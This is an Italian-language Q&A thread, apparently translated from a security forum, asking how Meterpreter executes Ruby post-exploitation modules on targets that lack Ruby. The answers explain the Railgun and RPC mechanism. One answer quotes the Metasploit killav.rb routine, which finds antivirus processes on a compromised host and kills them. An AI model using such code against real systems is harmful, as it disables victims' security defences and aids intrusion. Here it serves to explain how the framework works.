Come il Meterpreter carica i moduli?

6

Ho usato il Meterpreter per un po 'di tempo e sono ancora abbastanza nuovo e una delle domande che ho è come funziona il caricamento dei moduli.

Correggimi se ho torto mentre sto ancora imparando come usare Metasploit, ma per quanto ne so io so che i moduli che puoi caricare sul Meterpreter come killav.rb sono scritti in Ruby. Questo modulo dovrebbe essere caricato sul Meterpreter ed eseguito.

Come viene eseguito lo script Ruby se l'interprete Ruby non esiste sul sistema? Scusa se la mia domanda suona di base o se quello che so è sbagliato mentre sto usando Metasploit.

    
posta eclipse 22.11.2017 - 15:27
fonte

2 risposte

2

Iniziamo con la comprensione di base, una volta ottenuto un meterpreter si ottiene l'accesso ai moduli di metasploit che eseguono attività di post-exploitation. Ora qualsiasi attività avviata consente di dire killav.rb. Il codice in questo file sta interagendo con il modulo metrestro meterpreter che hai e utilizza RailGun. Railgun è una potente funzionalità di post-exploit esclusiva di Windows Meterpreter. Ti consente di avere il controllo completo dell'API Windows della tua macchina target. Passa l'istruzione al sistema di destinazione. Lascia che ti dia un'idea del codice di killav.rb

 def run
    avs = ::File.read(::File.join(Msf::Config.data_directory, 'wordlists',
                                  '***av_hips_executables.txt***')).strip
    avs = Set.new(avs.split("\n"))

    processes_found = 0
    processes_killed = 0
    client.sys.process.get_processes().each do |x|
      next if skip_process_name?(x['name'].downcase)
      vprint_status("Checking #{x['name'].downcase} ...")
      if avs.include?(x['name'].downcase)
        processes_found += 1
        print_status("Attempting to terminate '#{x['name']}' (PID: #{x['pid']}) ...")
        begin
          client.sys.process.kill(x['pid'])
          processes_killed += 1
          print_good("#{x['name']} terminated.")
        rescue Rex::Post::Meterpreter::RequestError
          print_error("Failed to terminate '#{x['name']}' (PID: #{x['pid']}).")
        end
      end
    end

Se noti av_hips_executables.txt

(Nota: questo file sarà anche disponibile nella posizione dell'app metasploit /usr/share/metasploit-framework/data/wordlists/av_hips_executables.txt)

Quel file contiene l'elenco di tutti gli eseguibili conosciuti che sono assoggettati ad un Antivirus runnning, il cui codice è puramente per rilevare il suo PID e uccidere il PID. E poiché tutto è passato tramite l'API meterpreter. Non dipende dal lato client se ha rubino o meno.

    
risposta data 26.11.2017 - 22:03
fonte
3

Il codice non viene effettivamente eseguito sull'host remoto. Il modulo ruby viene eseguito sul tuo computer e utilizza Metasploit api per eseguire il codice sull'altro lato. L'API Metasploit ha molte apis di Windows mappate come chiamate rpc (chiamate railgun). Meteterpter è scritto in cpp, non ci sono componenti ruby o embedding fatti sul lato "client". Leggi di più qui: Come utilizzare Railgun per Windows dopo lo sfruttamento .

    
risposta data 26.11.2017 - 07:35
fonte

Leggi altre domande sui tag